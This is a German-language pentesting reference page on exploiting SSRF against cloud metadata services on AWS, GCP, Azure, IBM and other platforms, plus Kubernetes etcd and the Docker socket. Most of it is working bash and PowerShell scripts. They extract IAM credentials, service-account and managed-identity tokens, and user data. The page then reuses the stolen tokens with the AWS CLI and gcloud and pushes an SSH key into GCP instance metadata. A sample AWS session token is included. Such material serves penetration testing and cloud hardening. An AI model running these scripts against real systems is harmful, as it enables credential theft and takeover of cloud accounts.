Cloud SSRF

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AWS

Missbrauch von SSRF in der AWS EC2-Umgebung

Der Metadaten-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL http://169.254.169.254 erreichbar (Informationen über die Metadaten hier).

Es gibt 2 Versionen des Metadaten-Endpunkts. Die erste erlaubt den Zugriff auf den Endpunkt über GET-Anfragen (daher kann jede SSRF ihn ausnutzen). Für die Version 2, IMDSv2, müssen Sie einen Token anfordern, indem Sie eine PUT-Anfrage mit einem HTTP-Header senden und dann diesen Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also komplizierter auszunutzen mit einer SSRF).

caution

Beachten Sie, dass wenn die EC2-Instanz IMDSv2 durchsetzt, laut den Dokumenten die Antwort der PUT-Anfrage ein Hop-Limit von 1 haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.

Darüber hinaus wird IMDSv2 auch Anfragen blockieren, um einen Token abzurufen, die den X-Forwarded-For-Header enthalten. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können.

Sie finden Informationen über die Metadaten-Endpunkte in den Dokumenten. Im folgenden Skript werden einige interessante Informationen daraus gewonnen:

bash

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Als ein öffentlich verfügbares IAM-Zugangsdaten Beispiel können Sie besuchen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Sie können auch öffentliche EC2-Sicherheitsanmeldeinformationen überprüfen unter: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Sie können dann diese Anmeldeinformationen verwenden und sie mit der AWS CLI nutzen. Dies ermöglicht Ihnen, alles zu tun, wozu diese Rolle Berechtigungen hat.

Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil wie dieses erstellen:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Beachten Sie das aws_session_token, dies ist unerlässlich, damit das Profil funktioniert.

PACU kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, die Berechtigungen zu eskalieren.

SSRF in AWS ECS (Container Service) Anmeldeinformationen

ECS ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in ECS läuft, zu kompromittieren, ändern sich die Metadatenendpunkte.

Wenn Sie http://169.254.170.2/v2/credentials/<GUID> aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie das <GUID> finden. Um das <GUID> zu finden, müssen Sie die environ-Variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI innerhalb der Maschine lesen.
Sie könnten in der Lage sein, dies auszulesen, indem Sie eine Path Traversal zu file:///proc/self/environ ausnutzen.
Die genannte http-Adresse sollte Ihnen den AccessKey, SecretKey und Token geben.

bash

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

note

Beachten Sie, dass Sie in einigen Fällen auf die EC2-Metadateninstanz vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie vom Container aus sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen.

SSRF für AWS Lambda

In diesem Fall werden die Anmeldeinformationen in Umgebungsvariablen gespeichert. Um auf sie zuzugreifen, müssen Sie etwas wie file:///proc/self/environ aufrufen.

Die Namen der interessanten Umgebungsvariablen sind:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird. Diese Daten werden der Funktion über die runtime interface zur Verfügung gestellt und könnten sensible Informationen enthalten (wie in den stageVariables). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter http://localhost:9001/2018-06-01/runtime/invocation/next zugänglich.

warning

Beachten Sie, dass die Lambda-Anmeldeinformationen in den Umgebungsvariablen enthalten sind. Wenn also der Stack-Trace des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie durch Provokation eines Fehlers in der App zu exfiltrieren.

SSRF-URL für AWS Elastic Beanstalk

Wir rufen die accountId und region von der API ab.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Wir rufen dann die AccessKeyId, SecretAccessKey und Token von der API ab.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Dann verwenden wir die Anmeldeinformationen mit aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Sie können hier die Dokumentation zu Metadatenendpunkten finden.

SSRF-URL für Google Cloud

Erfordert den HTTP-Header Metadata-Flavor: Google und Sie können auf den Metadatenendpunkt mit den folgenden URLs zugreifen:

http://169.254.169.254
http://metadata.google.internal
http://metadata

Interessante Endpunkte zum Extrahieren von Informationen:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta benötigt derzeit KEINEN Header (danke Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

caution

Um das exfiltrierte Dienstkonto-Token zu verwenden, können Sie einfach Folgendes tun:

# Über Umgebungsvariablen
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Über Setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Fügen Sie einen SSH-Schlüssel hinzu

Extrahieren Sie das Token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Überprüfen Sie den Geltungsbereich des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen)

bash

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Jetzt den SSH-Schlüssel pushen.

bash

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Der Metadaten-Endpunkt funktioniert genauso wie in VMs, jedoch ohne einige Endpunkte:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

warning

Es gibt keine Dinge wie AWS-Rollen oder GCP-Dienstkonten, also erwarten Sie nicht, Bot-Anmeldeinformationen im Metadatenbereich zu finden.

Dokumentation verfügbar unter https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs hier.

Muss den Header Metadata: true enthalten
Darf nicht einen X-Forwarded-For Header enthalten

tip

Eine Azure VM kann 1 systemverwaltete Identität und mehrere benutzerverwaltete Identitäten haben. Das bedeutet im Grunde, dass Sie alle verwalteten Identitäten, die an eine VM angehängt sind, impersonieren können.

Standardmäßig verwendet der Metadatenendpunkt die systemzugewiesene MI (falls vorhanden).

Leider konnte ich keinen Metadatenendpunkt finden, der alle MIs anzeigt, die eine VM hat.

Daher können Sie, um alle angehängten MIs zu finden:

Angehängte Identitäten mit az cli abrufen (wenn Sie bereits einen Principal im Azure-Mandanten kompromittiert haben)

az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>

Angehängte Identitäten mithilfe der standardmäßig angehängten MI in den Metadaten abrufen:

export API_VERSION="2021-12-13"

# Token von der standardmäßigen MI abrufen
export TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Benötigte Details abrufen
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Versuchen, angehängte MIs abzurufen
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq

Alle definierten verwalteten Identitäten im Mandanten abrufen und brute force verwenden, um zu sehen, ob eine von ihnen an die VM angehängt ist:

az identity list

caution

Verwenden Sie in den Token-Anfragen einen der Parameter object_id, client_id oder msi_res_id, um die verwaltete Identität anzugeben, die Sie verwenden möchten (docs). Wenn keiner, wird die standardmäßige MI verwendet.

bash

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

bash

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App & Functions Services

Aus der env können Sie die Werte von IDENTITY_HEADER und IDENTITY_ENDPOINT abrufen. Diese können Sie verwenden, um ein Token zu erhalten, um mit dem Metadatenserver zu kommunizieren.

In den meisten Fällen benötigen Sie ein Token für eine dieser Ressourcen:

caution

bash

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

powershell

# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"








# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

warning

Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM Cloud-VM befinden.

bash

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadatenservices.

Packetcloud

Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter folgender Adresse gefunden werden: https://metadata.packet.net/userdata

OpenStack/RackSpace

Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden:

http://169.254.169.254/openstack

HP Helion

Die Notwendigkeit für einen Header wird hier ebenfalls nicht erwähnt. Metadaten sind zugänglich unter:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud bietet eine Reihe von Endpunkten für den Zugriff auf verschiedene Aspekte der Metadaten:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba bietet Endpunkte für den Zugriff auf Metadaten, einschließlich Instanz- und Bild-IDs:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD kann API-Schlüssel, interne IP-Adressen und Ports speichern. Der Zugriff wird demonstriert durch:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker-Metadaten können lokal abgerufen werden, mit Beispielen für den Abruf von Container- und Bildinformationen:

Einfaches Beispiel zum Zugriff auf Container- und Bildmetadaten über den Docker-Socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Die Metadaten von Rancher können über Folgendes abgerufen werden:

curl http://rancher-metadata/<version>/<path>

tip

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